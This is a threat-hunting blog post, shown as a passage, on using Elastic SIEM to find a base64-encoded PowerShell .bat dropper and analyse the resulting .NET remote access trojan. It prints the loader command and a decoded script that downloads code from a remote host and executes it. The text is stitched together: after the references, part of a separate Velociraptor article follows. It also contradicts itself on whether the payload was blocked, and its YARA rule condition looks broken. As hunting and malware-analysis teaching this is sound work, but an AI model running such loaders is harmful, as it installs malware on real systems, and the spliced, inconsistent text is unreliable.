Furthermore, the U.S. Department of Justice recently charged 16 Russian nationals linked to DanaBot, a modular malware used in cybercrime, espionage, and wartime operations. DanaBot, which infected over 300,000 systems, evolved from a banking trojan into a tool capable of executing credit card theft, cryptocurrency fraud, ransomware deployment, and intelligence collection [4]. These developments highlight the escalating complexity and volume of cyber threats in 2025, reinforcing the need for structured threat hunting methodologies to proactively detect and respond to malicious activity.

In today’s evolving threat landscape, adversaries are increasingly leveraging stealthy techniques to maintain persistence within enterprise environments. One common tactic involves deploying Command and Control (C2) malware that blends in with legitimate system activity, making detection difficult particularly on critical infrastructure such as Windows Server 2016.

To detect and analyse these sophisticated threats, we adopt a structured threat hunting approach, guided by formal frameworks like the MITRE ATT&CK Framework. Structured hunting focuses on identifying indicators of attack (IoAs) and the tactics, techniques, and procedures (TTPs) used by known threat actors. The MITRE ATT&CK Framework serves as a comprehensive knowledge base of adversary behaviour, enabling analysts to proactively hunt for threats by aligning observations with well-defined attack patterns.

1.2 Structured threat hunting

Structured threat hunting is a proactive cybersecurity approach that leverages formal frameworks, such as the MITRE ATT&CK framework, to systematically detect and analyse sophisticated threats within enterprise environments [5]. Unlike reactive methods that rely solely on alerts, structured threat hunting involves the deliberate search for indicators of attack (IoAs) and tactics, techniques, and procedures (TTPs) employed by known threat actors.

The MITRE ATT&CK framework serves as a comprehensive knowledge base categorizing adversary behaviors observed in real-world cyberattacks. By aligning threat hunting activities with this framework, security professionals can anticipate attacker behaviors and identify potential threats that may evade traditional detection mechanisms [5].

In the context of Windows Server 2016, structured threat hunting becomes particularly crucial due to the critical nature of the infrastructure and the increasing sophistication of adversaries. By employing structured methodologies, organizations can enhance their security posture, proactively identify hidden threats, and mitigate risks associated with Command and Control (C2) malware and other advanced persistent threats.

This approach not only improves the detection capabilities but also ensures a systematic and comprehensive analysis of potential threats, thereby strengthening the overall cybersecurity framework of the organization.

1.3 Case Scenario

In this blog post, we will explore practical threat hunting techniques on a Windows Server 2016 system, specifically focusing on the host WIN-O1NAD4LU04Q. Our objective is to identify potential signs of Command and Control (C2) malware by hunting for suspicious files such as .bat, .ps1, and .exe that may indicate malicious activity.

Using Elastic SIEM, we’ll start by performing broad searches to surface any potentially relevant artifacts. From there, we’ll progressively filter and refine the results to isolate high-confidence indicators of compromise (IOCs) and uncover any hidden threats lurking within the environment. By applying structured queries, filtering noisy data, and narrowing down on anomalous behaviours, we aim to demonstrate how Elastic SIEM can be leveraged to uncover hidden threats and improve your overall security posture.

Throughout this process, we will align our findings with relevant tactics and techniques from the MITRE ATT&CK Framework, such as:

• T1059 – Command and Scripting Interpreter: Detecting the use of command-line interpreters like PowerShell and CMD, which are often used in malicious scripts.
• T1105 – Ingress Tool Transfer: Monitoring for the transfer of tools or files from external sources, which could indicate the download of malicious payloads.
• T1027 – Obfuscated Files or Information: Identifying signs of obfuscated scripts or files, which attackers use to hide malicious code.
• T1218 – Signed Binary Proxy Execution: Detecting the misuse of legitimate Windows binaries to execute malicious code.

By mapping our threat hunting activities to these techniques, we can create targeted queries and detection rules within Elastic SIEM to identify suspicious behaviours indicative of C2 malware.

1.4 Lab Setup

To replicate this threat hunting scenario, we establish a controlled lab environment simulating a Windows Server 2016 host potentially compromised by Command and Control (C2) malware. The lab is designed to facilitate the detection and analysis of malicious activities using Elastic SIEM, with configurations tailored to align with the MITRE ATT&CK framework.

1.4.1 Windows Server 2016 (Target Host)

• Virtualization Platform: VMware Workstation / Fusion / VirtualBox
• Operating System: Windows Server 2016
• Hostname: WIN-O1NAD4LU04Q
• Allocated Resources:
  • RAM: 8 GB (recommended for optimal performance)
  • Processors: 6 vCPUs
• Network Configuration:
  • Type: LAN (segmented)
  • Internet Access: Via OPNsense WAN interface with NAT
• Installed Tools:
  • Sysmon: For detailed system monitoring and logging.
  • Elastic Agent: For log collection and forwarding to Elastic SIEM [6]

1.4.2 Elastic SIEM Server

• Virtualization Platform: VMware Workstation / Fusion / VirtualBox
• Operating System: Ubuntu Server 22.04 LTS
• Allocated Resources:
  • RAM: 16 GB
  • Processors: 12 vCPUs
• Network Configuration:
  • Type: NAT
• Elastic Stack Components:
  • Elasticsearch: For storing and searching log data.
  • Kibana: For data visualization and dashboarding.
  • Fleet Server: For managing Elastic Agents [7]

This setup enables comprehensive monitoring and analysis of the Windows Server 2016 host, facilitating the identification of malicious activities such as the execution of suspicious scripts or binaries. By leveraging Sysmon for detailed event logging and Elastic SIEM for data aggregation and visualization, we can effectively detect and investigate behaviours associated with C2 malware.

For guidance on installing and configuring Elastic Agents, refer to the official Kali Purple documentation [8]

2.0 Threat Hunting Approach

Threat hunting goes beyond relying on automated alerts. In many cases, no alert may be triggered either because the malicious activity slipped through undetected or due to limitations in the detection rules or EDR capabilities. Threat hunters proactively analyse various aspects of system and network logs to uncover anomalies, derive insights, and identify potential security threats that may otherwise go unnoticed.

In Elastic SIEM, when the Elastic Agent and Sysmon are properly configured, we can simulate specific attack scenarios to evaluate detection coverage. This helps us understand what triggers alerts and just as importantly what does not.

In this lab, we simulate a real-world attack by deploying a public Remote Access Trojan (RAT) as a C2 implant. The goal is to observe how Elastic SIEM and the underlying telemetry respond. To further challenge the detection mechanisms, we experiment with malware obfuscation by encrypting or packing the RAT payload using various methods [9]. While many variants were successfully blocked by the EDR, one obfuscated sample bypassed detection entirely indicating a possible detection gap.

Despite the absence of an alert, this is where threat hunting becomes critical. By analysing artifacts, process behaviours, file system changes, and command-line activity related to the incident, we aim to uncover the presence of this undetected malware and assess the environment’s resilience to such evasion techniques.

As shown in Figure 1, numerous alerts have been generated likely due to the various simulations we’ve previously conducted in this environment. However, our focus now shifts to analyzing the events that did not trigger any alerts. These could represent stealthier activity or reveal gaps in existing detection logic.

Figure 1.

To begin our manual investigation, we navigate to the Discover section in Elastic. Here, we leverage the MITRE ATT&CK technique T1027 – Obfuscated Files or Information, which focuses on identifying signs of obfuscated or suspicious files commonly used to hide malicious behaviour.

We start by querying for a range of potentially malicious file types known to be abused by attackers, using the following KQL search:

process.name : ("*.bat" or "*.exe" or "*.ps1" or "*.vbs" or "*.js" or "*.hta" or "*.cmd" or "*.wsf" or "*.scr" or "*.cpl" or "*.dll")

This query helps surface script files, binaries, and dynamic-link libraries that could be associated with malicious activity as shown in Figure 2. From there, we filter through the results looking for unusual file names, suspicious parent-child process relationships, execution from uncommon directories, or other deviations from normal behaviour that may indicate obfuscation or unauthorized execution.

Figure 2.

By approaching the hunt this way, we increase our chances of catching threats that may have silently bypassed detection rules.

2.1 Log Volume Reduction and Host Filtering

Upon reviewing the dataset, we are presented with approximately 789,640 log entries. This high volume is expected, as it includes a wide range of telemetry such as network traffic, TCP/IP connections, and events from multiple sources including firewalls, Linux hosts, and other Windows machines connected to the network.

To make our threat hunting process more efficient and focused, we need to isolate logs specifically related to our target system: Windows Server 2016.

To do this, we navigate to the Data View section in Kibana. From there, we use the user.name or relevant host-identifying field (such as host.name or agent.name, depending on your setup) to filter the dataset.

We then select the specific hostname, in this case WIN-O1NAD4LU04Q, to ensure our analysis only includes logs originating from the intended server as shown in Figure 3 .

Fig 3. host.name

This significantly reduces noise and allows us to concentrate our investigation on events that could indicate suspicious or malicious activity within the targeted host as shown in Figure 4.

Figure 4. win2016

2.2 File Path Insights and Filtering

By examining the field statistics for file paths, we observe the top values contributing to the dataset. Notably, a large portion 64.3% comes from a single executable located at:

C:\Users\Win2016\AppData\Roaming\n5hxte0v.exe

Other common entries include temporary installation files and runtime libraries typically associated with legitimate software, such as:

• Sublime Text Update Installer.exe
• vcredist_x64.exe
• Various .dll files from software setups

Additionally, several .dll files were found under the Downloads directory, such as:

C:\Users\Win2016\Downloads\sublime_text_build_4192_x64\libcrypto-1_1-x64.dll
C:\Users\Win2016\Downloads\sublime_text_build_4192_x64\libssl-1_1-x64.dll

Since these are mostly benign support files, we’ll exclude common extensions such as *.dll, *.js, *.hta, *.cmd, *.wsf, *.scr, and others from our search to reduce noise.

Instead, our focus will narrow to activity within the Downloads directory, where users typically save external executables or archives. This path is often used by attackers to stage payloads or initiate initial infection vectors. As shown in Figure 5, this refined view helps us focus on files that were actively downloaded and may warrant further inspection especially if they are uncommon, unsigned, or were executed shortly after being saved.

Figure 5.

2.3 Filtering by File Extension

By analysing the file.extension field in the Data View, we can observe trends over time and identify the most common file types encountered in the environment. As shown in Figure 6, the top values include:

• .wxl
• .rtf
• .exe
• .dll
• .bat
• and several others

Figure 6

While some of these such as .rtf or .dll may be benign or associated with normal system and application activity, we are particularly interested in extensions often abused for malicious purposes.

As such, our focus narrows to .bat (batch scripts) and .exe (executables), which are commonly used by attackers for initial execution, privilege escalation, or persistence mechanisms. By concentrating our analysis on these file types, we aim to uncover suspicious behaviour or artefacts that may indicate C2 activity or lateral movement.

2.4 Focusing on Suspicious Executables

In this section, we have filtered the logs to focus specifically on .exe and .bat files file types frequently leveraged by adversaries for execution of payloads, scripts, or living-off-the-land techniques.

As shown in Figure 7, these file types appear prominently between April and May. This observation provides a useful window for investigation, particularly for detecting potential C2 activity, lateral movement, or persistence mechanisms.

Figure 7

To refine our analysis, we narrow our search to .exe and .bat files located within the Downloads directory:

C:\Users\Win2016\Downloads\

This focus helps isolate user-downloaded or attacker-delivered binaries that may have been executed during the suspected timeframe.

We align this analysis with the following MITRE ATT&CK techniques:

• T1059 – Command and Scripting Interpreter: Identifying the use of interpreters such as CMD or PowerShell via .bat files.
• T1204 – User Execution: Detecting user-initiated execution of files typically delivered via phishing, drive-by downloads, or shared folders.
• T1105 – Ingress Tool Transfer: Monitoring executables dropped in user directories that may have been transferred from external sources.

By correlating these techniques with the observed activity, we can prioritise leads and flag behaviour that is consistent with known adversary tradecraft.

3.0 Investigating the BAT File Downloaded on Windows Server 2016

While numerous .exe files were observed in the Downloads directory many of which were flagged by the XDR our attention turns to the .bat file, which notably did not trigger any alerts. This makes it a prime candidate for manual analysis, especially as stealthy payloads often rely on scripts to execute secondary stages of an attack as shown in Figure 8.

Figure 8

We identify two related events involving a .bat file on April 15, 2025 at 17:58:53.296, both associated with the same download.

3.1 Initial Observation of cyecsk.bat

From the logs, we observe that the file cyecsk.bat was downloaded via Chrome, and is located in the following path:

C:\Users\Win2016\Downloads\cyecsk.bat

3.2 Threat Analysis and Observation

Further investigation into the .bat file activity revealed that the event log includes a PowerShell command embedded within the file. The field winlog.event_data.Contents contains an encoded base64 payload. Although we will not decode it here, the use of base64 encoding is a common obfuscation method used to hide the true intent of a script or command.

The PowerShell command uses the following options:

• ExecutionPolicy Bypass
• NoProfile
• Command

These switches are typical in malicious use cases where the attacker aims to suppress warnings, avoid loading a standard PowerShell profile, and execute a command directly usually in a stealthy manner.

The parent process identified is chrome.exe, indicating the file was likely delivered through the browser and then staged or executed on the system.

As shown in Figure 9, the .bat file contains a PowerShell command that attempts to execute the script shown below in base64.

powershell -ExecutionPolicy Bypass -NoProfile -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRiYXNlNjQgPSAoaXdyIC1VcmkgJ2h0dHBzOi8vZmlsZXMuY2F0Ym94Lm1vZS9jNmg0M3UudHh0JykuQ29udGVudAokYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRiYXNlNjQpCiRw5QYXRoXTo6Q29tYmluZSgkZW52OkFQUERBVEEsICdtYXNvbmRscG41ay5iYXQnKQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRwYXRoLCAkYnl0ZXMpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYX-----==')) | Invoke-Expression"

Please note the base64 is not complete here

This activity aligns with several techniques in the MITRE ATT&CK framework:

• T1059.001 – PowerShell

  The attacker uses PowerShell as the execution medium, a common post-exploitation tactic due to its native capabilities and scripting flexibility.

• T1027 – Obfuscated Files or Information

  The use of base64 encoding within a PowerShell command is a classic example of content obfuscation designed to evade detection and complicate analysis.

• T1204.002 – User Execution: Malicious File

  The presence of a .bat file downloaded via a web browser, likely requiring user interaction to initiate, suggests social engineering or user-driven execution.

• T1105 – Ingress Tool Transfer

  Since the PowerShell command appears to reference external content (indicated by the presence of System.Net.WebClient-style activity in the encoding), this may involve downloading additional payloads from a remote server.

This combination of scripting, obfuscation, and external delivery strongly indicates a malicious intent behind the file cyecsk.bat. Although it was not flagged by the XDR.

3.3 Decoding the Base64 Observed in the BAT File Executed via PowerShell

While the presence of base64-encoded commands in PowerShell is a common tactic used by adversaries to evade detection, decoding these strings is essential for understanding the intent of the payload. Analysts can decode base64 using any tool of their choice command-line utilities, scripting languages, or online tools.

For the purpose of this blog, we use the online decoder [10]. As shown in Figure 10, we successfully decoded the base64 string into a readable PowerShell script.

The decoded output is as follows:

$base64 = (iwr -Uri 'https://files.example.me/c6h43u.txt').Content
$bytes = [System.Convert]::FromBase64String($base64)
$path = [System.IO.Path]::Combine($env:APPDATA, 'masondlpn5k.bat')
[System.IO.File]::WriteAllBytes($path, $bytes)
Start-Process -FilePath $path

3.3.1 Threat Context and MITRE ATT&CK Mapping

This activity demonstrates a layered execution approach typical of many malware loaders. It also aligns with several MITRE ATT&CK techniques [11]

Decoded Script Analysis and MITRE ATT&CK Mapping

3.4 Visiting the URL Contained in the Base64

When visiting the URL embedded in the decoded PowerShell script:

https://files.example.me/c6h43u.txt

we observe that it hosts a much longer base64-encoded string, as shown in Figure 11.

Figure 11

This suggests that the hosted content is likely a binary file, given the size and structure of the encoded data.

3.4.1 Decoding the Payload

In cases like this, analysts should be cautious and work within a secure, isolated environment (e.g., REMnux or a sandboxed VM) before interacting with or decoding any suspicious content.

To convert the base64 string into its binary form, analysts can use any suitable tool. For this blog, we use the online decoder [12]

As shown in Figure 12, we paste the base64 string into the input field and decode it into a downloadable file. Once the decoding is complete, the file can be saved locally for further analysis.

Figure 12

⚠️ Important Note: Always perform such actions within a controlled and secure environment to avoid accidental execution or compromise. Tools like REMnux, FLARE VM, or any offline malware lab VM are recommended for this purpose.

4.0 Extracting Indicators of Compromise (IoCs) from the Binary File

After decoding the base64 payload from the remote URL, we obtain a file named application.bin. Surprisingly, even with Windows Defender enabled as shown in Figure 13, the file is not flagged as malicious. Given the behaviour observed earlier, this is not unexpected attackers often use obfuscation or packers to bypass signature-based detection.

Figure 13

We proceed by transferring application.bin into a dedicated, isolated malware analysis environment. At this stage, the Windows analysis machine has internet access disabled to prevent any potential callback or data exfiltration attempts.

Although tools like VirusTotal or Any.run can provide valuable insights, we choose to perform static analysis first to avoid tipping off the adversary or exposing controlled infrastructure to external systems.

4.1 Overview of MasonRAT

MasonRAT appears to be a heavily modularised, .NET-based Remote Access Trojan as shown in Figure 14. It leverages a large set of classes with obfuscated or generic names to hinder static analysis. Each top-level class (e.g. Activation, Completed, Incomplete, etc.) contains numerous methods and properties related to RAT functionality.

Figure 14

4.2 Command Dispatch Logic in Activation Class

This class acts as a command interpreter, responding to specific string commands (e.g., "GetDrives", "FileManager", etc.) likely received from a C2 server. Each block performs different actions on the infected host and returns results to the attacker via Completed.Dominican(...).

4.2.1 Behavioural Analysis Table Activation Class

The Activation class in MasonRAT serves as the central command handler, executing instructions received from its command and control (C2) server. It is responsible for a wide range of tasks including gathering system and directory information, managing files (such as creating, deleting, renaming, and hiding them), exfiltrating data like files and images, launching arbitrary processes with or without elevated privileges, and deploying additional tools like 7-Zip and Ngrok. The class also facilitates remote access setup, including tunnelling remote desktop sessions through Ngrok, and it leverages late-bound method invocation to dynamically call functionality at runtime. We also observed the presence of PreventSleep, PSleep, and taskkill.exe, as shown in Figure 15. These tools are often used in malicious scripts to manipulate system behaviour during execution. PreventSleep and PSleep are typically used to stop the system from entering sleep or idle mode, which helps ensure that the malicious process runs uninterrupted.

Figure 15

Meanwhile, taskkill.exe, a legitimate Windows utility, is commonly abused by attackers to terminate security-related processes such as antivirus software or monitoring tools. The use of these utilities suggests an attempt to maintain operational continuity and evade detection during execution.

In terms of capabilities, the RAT demonstrates persistence techniques through commands like Startup, InstallN, and NETINS, which suggest it attempts to maintain access across system reboots. It includes remote access functionality via commands such as hrdp, hrdp+, and ngrok, which indicate support for tunnelling or proxying remote desktop sessions. Anti-forensic behaviour is also present, with features designed to hide files and folders, delete artefacts, and rename system objects to evade detection. The frequent use of NewLateBinding.LateCall() reflects an intent to evade static analysis by dynamically resolving and invoking methods at runtime.

Data exfiltration is handled using encoded transmissions, where files, text, or images are read, processed (often encoded in Base64 or otherwise obfuscated), and sent using helper functions such as Completed.Dominican() and Violation.Valuation(). Additionally, the malware uses obfuscation techniques that rely heavily on the VB.NET runtime for example, using Operators.AddObject and ConcatenateObject along with utility functions like Activation.Interpreted to build strings and payloads at runtime, which makes static inspection more difficult.

The activation sequence also includes actions such as delete, folder, file, execute, and ExecuteRunAs, as shown in Figure 16. These actions indicate that the binary is capable of modifying the file system by deleting files or folders, executing commands, and potentially running processes with elevated privileges. Such behaviour is commonly associated with malware attempting to perform system changes, launch additional payloads, or escalate privileges.

Figure 16

Overall, Activation represents a stealthy and modular component of the RAT, engineered for flexible command execution, persistent access, remote control, and evasion from traditional analysis methods.

4.3 Extracting the IoC

While it is not feasible to examine the entire source code of the malware, we can analyse parts of it to identify key indicators of compromise (IoCs). In this phase, we focus on the Traveller class within the MasonRAT malware.

The Traveller class serves as a container for several static fields and methods that either hold configuration values or assist in the malware’s runtime operations. Notably, this class contains hardcoded values that can be considered clear IoCs.

One of the most evident indicators is the field Directors, which is statically assigned the IP address 192.168.135.20 as shown in Figure 17. Although this is a private IP address (RFC1918), and therefore not routable on the public internet (Because we simulated the attack via LAB), that would be the C2 staging IP.

Figure 17

Another field, Valuation, is assigned the string "1417". represent a port number. Similarly, the field Advertising holds the string "USB.exe", which is the name of a dropped or executed payload a possible mechanism for spreading via USB drives.

The field Improving is set to "MasonRAT" and Prototype is set to "MasonGroup", both of which are potentially developer-chosen identifiers that could appear in file names, mutexes, registry entries, or process names on compromised systems. These values are useful for building YARA or Sigma detection rules.

The class also contains a field named Elsewhere, with a seemingly random string: "rmldKj40qW2UTlEe". This may be used as a password, encryption key, or mutex name. It is also declared as readonly, suggesting it does not change during runtime, further supporting its use as a static key or identifier.

Additionally, the Infringement field dynamically captures the full path of the current running executable using Process.GetCurrentProcess().MainModule.FileName. This is likely used for self-reference, replication, or verification purposes.

Finally, Distributed is declared as a Mutex, a common technique in malware to ensure that only one instance of the RAT runs on a system at any given time. This is typically used to prevent conflicts or multiple infections.

4.4 Final YARA Rule (Binary + Strings + Heuristics)

rule MasonRAT_Signature_Composite
{
    meta:
        author = "daniyyell"
        description = "Composite detection rule for MasonRAT using binary traits, constants, and identifiers"
        version = "1.1"
        date = "2025-05-24"
        family = "MasonRAT"

    strings:
        $m0 = { 4D 5A 90 00 }  

        // Known class/function patterns
        $s1 = "MasonRAT" ascii nocase
        $s2 = "Activation.Interpreted" ascii nocase
        $s3 = "Violation.Valuation" ascii nocase
        $s4 = "Completed.Dominican" ascii nocase
        $s5 = "Specifically" ascii nocase

        // Numeric constants from disassembly (integer values shown)
        $n1 = { 16 00 }                     // 0x0016
        $n2 = { DA 00 16 00 }               // 0xDA0016 (Little Endian)
        $n3 = { 82 73 7D 00 }               // 131727382 (0x07D27382)
        $f1 = { 3E AA AA 2A }               // 3.2801e-34 (approx float)
        $d1 = { 9A 99 99 99 99 99 F1 3F }   // 3.05981e-308 (approx double)

        // Hardcoded artefacts
        $s6 = "USB.exe" ascii nocase
        $s7 = "rmldKj40qW2UTlEe" ascii nocase
        $s8 = "GetDrives" ascii nocase
        $s9 = "viewimage" ascii nocase
        $s10 = "ngrok" ascii nocase

    condition:
        $m0 at 0 and
        (5 of ($s*) or all of ($f1, $d1, $n3)) or
        any of ($n*)
}

4.5 VirusTotal Analysis

To supplement our static analysis, we submitted the decoded binary to VirusTotal for a broader threat intelligence perspective. The results, available at the link below, confirm the suspicious nature of the file [13] [14]

As shown in Figure 18, 42 out of 71 security vendors flagged the file as malicious, supporting our earlier assessment that this was a staged payload designed to bypass endpoint detection and deliver a follow-on compromise.

Figure 18

4.5.1 MITRE ATT&CK Tactics and Techniques Mapping

Based on the behaviours observed throughout this investigation from initial script execution to payload staging and potential command-and-control activity the following MITRE ATT&CK tactics and techniques are applicable in this table bellow:

These mappings provide a structured framework for understanding the attacker’s objectives and methods. They also support proactive detection and response efforts by aligning observable behaviours with widely recognised threat models.

5.0 Conclusion

This blog walked through a practical threat hunting scenario aimed at identifying hidden Command and Control (C2) malware on a Windows Server 2016 system using Elastic SIEM.

Starting with an investigation into file types such as .bat and .exe in the Downloads folder, we identified a suspicious .bat file that evaded XDR detection. Further analysis revealed the file executed a base64-encoded PowerShell command that downloaded and decoded a secondary binary (application.bin).

Although the final payload was blocked by the XDR, static analysis using dnSpy and external validation with VirusTotal confirmed its malicious nature. This highlights the value of layered defence and manual threat hunting in surfacing threats that may initially go undetected.

This investigation aligned with several MITRE ATT&CK techniques, including:

• T1059.001 – PowerShell
• T1027.001 – Obfuscated Files or Information
• T1105 – Ingress Tool Transfer
• T1204.002 – User Execution

This case underscores the importance of combining proactive threat hunting with automated detection. Tools like Elastic SIEM, when supported by detailed telemetry (e.g. from Sysmon) and attacker behaviour frameworks like MITRE ATT&CK, are critical for defending against stealthy and evolving threats.

5.1 Findings and Limitations

It is important to acknowledge the limitations of our lab environment while interpreting the findings of this investigation.

Our analysis was based on a controlled lab setup, with Elastic SIEM configured using a limited set of detection rules and data sources. While this was sufficient to demonstrate key threat hunting techniques, it does not fully represent the capabilities of a production-grade Elastic Security deployment.

As shown in Figure 19, the visibility and telemetry available are inherently restricted by the scope of the installed rules and ingested data. This means some advanced detections such as behavioural analytics, ML-based models, or full threat intelligence enrichment were not available in this environment.

Figure 19

However, this should not be seen as a limitation of Elastic itself. The full enterprise edition of Elastic Security provides significantly enhanced capabilities, including:

• A broader and continuously updated set of detection rules
• Machine learning integrations
• Host isolation and response capabilities
• Integration with threat intelligence platforms
• Advanced correlation and visualisation features

Despite the constraints of our setup, this exercise clearly demonstrated that Elastic SIEM remains a powerful platform for proactive threat hunting, even with a basic configuration especially when paired with structured methodologies like MITRE ATT&CK.

5.2 Future Work

As part of future analysis, it would be worthwhile to explore the other .exe files observed during the initial data review particularly the executable located at:

C:\Users\Win2016\AppData\Roaming\n5hxte0v.exe2940

This file accounted for approximately 64% of all observed process activity, making it highly suspicious. Its high prevalence, coupled with its location in the user’s roaming profile directory, may suggest persistent or automated execution both common in malware staging or lateral movement scenarios.

Further steps may include:

• Static and dynamic analysis of the executable
• Correlation with process tree relationships
• Checking for persistence mechanisms such as registry run keys or scheduled tasks
• Reverse engineering using tools like dnSpy, Ghidra, or x64dbg
• Mapping any observed behaviours back to MITRE ATT&CK techniques

This additional work will help determine whether this .exe represents another stage of the malware, a loader, or possibly a separate threat altogether.

6.0 References

1. A. H. Alamri and L. Mooney, Dragos Industrial Ransomware Analysis: Q1 2025, Dragos – Industrial (ICS/OT) Cyber Security, May 21, 2025. https://www.dragos.com/blog/dragos-industrial-ransomware-analysis-q1-2025 (accessed May 24, 2025).

2. Economic Times, What Is Lumma Stealer? The Malware That Infected Over 394,000 Windows PCs Worldwide, The Economic Times, May 21, 2025. https://economictimes.indiatimes.com/news/international/global-trends/what-is-lumma-stealer-the-malware-that-infected-over-394000-windows-pcs-worldwide/articleshow/121321782.cms (accessed May 24, 2025).

3. Check Point, April 2025 Malware Spotlight: FakeUpdates Dominates as Multi-Stage Campaigns Blend Commodity Malware with Stealth, Check Point Blog, May 09, 2025. https://blog.checkpoint.com/research/april-2025-malware-spotlight-fakeupdates-dominates-as-multi-stage-campaigns-blend-commodity-malware-with-stealth (accessed May 24, 2025).

4. A. Greenberg, Feds Charge 16 Russians Allegedly Tied to Botnets Used in Ransomware, Cyberattacks, and Spying, Wired, May 22, 2025. https://www.wired.com/story/us-charges-16-russians-danabot-malware/ (accessed May 24, 2025).

5. M. Kosinski, What Is Threat Hunting?, IBM, Jan. 07, 2025. https://www.ibm.com/think/topics/threat-hunting

6. J. Camiss, How to Build a SIEM with Suricata and Elastic Stack on Ubuntu 20.04, DigitalOcean, Feb. 14, 2022. https://www.digitalocean.com/community/tutorials/how-to-build-a-siem-with-suricata-and-elastic-stack-on-ubuntu-20-04

7. Elastic, Install Elastic Agents, Elastic.co, 2025. https://www.elastic.co/docs/reference/fleet/install-elastic-agents (accessed May 24, 2025).

8. Kali-Purple, Kali Linux / kali-purple / Documentation, GitLab, 2025. https://gitlab.com/kalilinux/kali-purple/documentation (accessed May 24, 2025).

9. IBM, What Is Malware?, IBM, Apr. 14, 2022. https://www.ibm.com/think/topics/malware (accessed May 24, 2025).

10. Base64, Base64 Decode Online, emn178.github.io. https://emn178.github.io/online-tools/base64_decode.html (accessed May 24, 2025).

11. IBM, MITRE ATT&CK Framework, IBM, May 18, 2023. https://www.ibm.com/think/topics/mitre-attack (accessed May 24, 2025).

12. Base64 Guru, Base64 to File: Base64 Decode and Converter, base64.guru, 2025. https://base64.guru/converter/decode/file (accessed May 24, 2025).

13. VirusTotal, VirusTotal, VirusTotal.com, 2025. https://www.virustotal.com/gui/file/751b6b68106dd134ec72066359e9ff28cbdf8d7b43468c684541b5f21a44fbbc/detection (accessed May 24, 2025).

14. Manalyzer.org, Manalyzer :: 4830c0961026e3c8c9f8795df408edbd, Manalyzer.org, 2025. https://manalyzer.org/report/4830c0961026e3c8c9f8795df408edbd (accessed May 24, 2025).

1.1 What is Threat Hunting ?

Threat hunting is the proactive, iterative process of identifying and disrupting threats within an organization’s environment. Mirza [2] also define threat hunting as proactive, manual, or machine-assisted process of actively seeking out security incidents and anomalies that may have evaded detection by automated security systems. It involves a deeper investigation into data, behavior patterns, and system activities to identify potential threats before they can cause harm [1]. Many researchers [1] [6] [7] [8] have already explained different types of threat hunting techniques as explained in this table 1.

Proactive Threat Hunting is driven by a broader awareness of potential risks. In this approach, hunters actively search for threats before they manifest as incidents or trigger alerts. This type of hunting involves analyzing system behavior, network traffic, and endpoint activity to identify early signs of compromise, using techniques such as behavioral analysis, anomaly detection, and network monitoring.

Proactive threat hunting involves security teams actively searching an organization’s IT environment for signs of infiltration, assuming that threat actors may have already breached the perimeter or gained access through a vulnerability or misconfiguration [3] [6].

This approach is both a shift in mindset and a practical methodology. By anticipating potential threats before they manifest, hunting teams can identify issues early, preventing crises, and implement hardening techniques to reduce risk [3].

1.2 Case Scenarios.

In this scenario, we are tasked with investigating a potential security incident on a Windows 10 Pro system associated with the user daniyyell-client@DESKTOP-U9HDOEJ. The objective is to conduct proactive threat hunting to determine whether the system has been compromised. Since the system’s integrity is uncertain, we will leverage Velociraptor to perform the hunt, collecting comprehensive logs and artifacts for in-depth analysis. This approach will allow us to uncover any signs of compromise or suspicious activities and ensure the system’s security posture is thoroughly assessed.

In this article, we assume that the Velocirator agent is already installed on the Windows system. Our focus will be on collecting logs and artifacts. For detailed instructions on how to install the Velocirator agent, please refer to this article [4].

2.0 Velocirator Selected Artifacts

While many of these artifacts may not be directly useful, they are selected because we are hunting for every potential Indicator of Compromise (IoC) or Indicator of Attack (IoA). If some artifact queries do not return any data, it is understandable. However, we will focus on the other relevant artifact results [4]. Here are a few artifacts that we have selected for this article:

The next step is to download the logs from the selected artifacts and move them to a secure location for analysis. Since some of the hunt packages may not yield any results, we will focus only on those that do produce results to maximize efficiency and time. At this stage, we are uncertain about what we will find, and if no significant findings emerge, that is acceptable, as we are equipped to thoroughly analyze the logs regardless.

2.1 Windows.Analysis.EvidenceOfDownload

This artifact is designed to detect evidence of user download activity as shown in Fig 1. It works by searching for the Zone.Identifier alternate data stream, which is created alongside files downloaded from the internet or an intranet. The Zone.Identifier stream is generated by applications when a user saves a file from a different security zone to the local file system.

Fig 1: Windows.Analysis.EvidenceOfDownload

The artifact searches the specified directory for any file with an alternate data stream named Zone.Identifier, then identifies files with a zoneId of 3 (Internet) or 4 (Intranet). It also calculates the hash value of the file and extracts the content of the Zone.Identifier stream, which can sometimes contain valuable information. The artifact returns a list of files with their hashes, paths, and Zone.Identifier stream content.

2.2.1 Results

Upon reviewing the logs, there is no indication of any malicious files being downloaded to the victim’s system as shown in Fig 2. The downloaded files include:

• ProcessExplorer.zip
• client.config.yaml
• fakenet3.3.zip
• velociraptor.exe

Fig 2: Windows.Analysis.EvidenceOfDownload

As shown in Fig. 2, all MD5 hashes for these files are legitimate. Therefore, we will proceed to the next artifact for further analysis.

2.2 Windows.Analysis.EvidenceOfExecution/Amcache

In many investigations, it is crucial to find evidence of program execution. This artifact combines the findings from several collectors into a comprehensive overview of all program execution artifacts.

This artifact combines the following sources:

• UserAssist

  SELECT * FROM Artifact.Windows.Registry.UserAssist() 
  

• Amcache

  SELECT * FROM Artifact.Windows.Detection.Amcache()
   
  

• Timeline

  SELECT * FROM Artifact.Windows.Forensics.Timeline()
  
  

• ShimCache

  SELECT * FROM Artifact.Windows.Registry.AppCompatCache()
  

• Prefetch

  SELECT * FROM Artifact.Windows.Forensics.Prefetch()
  
  

• Recent Apps

  SELECT * FROM Artifact.Windows.Forensics.RecentApps()
  
  

2.2.1 Results Analysis

Based on Figure 3, the files and their respective locations appear suspicious. The client.exe file is located in the AppData folder, which is not uncommon for legitimate software, but in this case, it is paired with a publisher identified as Google LLC as shown in Fig 3. The use of legitimate-looking names and locations, such as Google Chrome being present in unconventional directories, raises concerns of possible suspicious activity or spoofing.

Fig 3: Windows.Analysis.EvidenceOfExecution

We will document these suspicious instances, as they might be indicators of compromise (IoCs) or tactics such as file masquerading.

2.2.2 IoCs

• Client.exe
  • Path: C:\Users\Daniyyell-Client\AppData\Roaming\Subdir\client.exe
  • Publisher: Google LLC
• Google Chrome.exe
  • Path: C:\Users\Daniyyell-Client\Desktop\Google Chrome.exe
  • Publisher: Google LLC
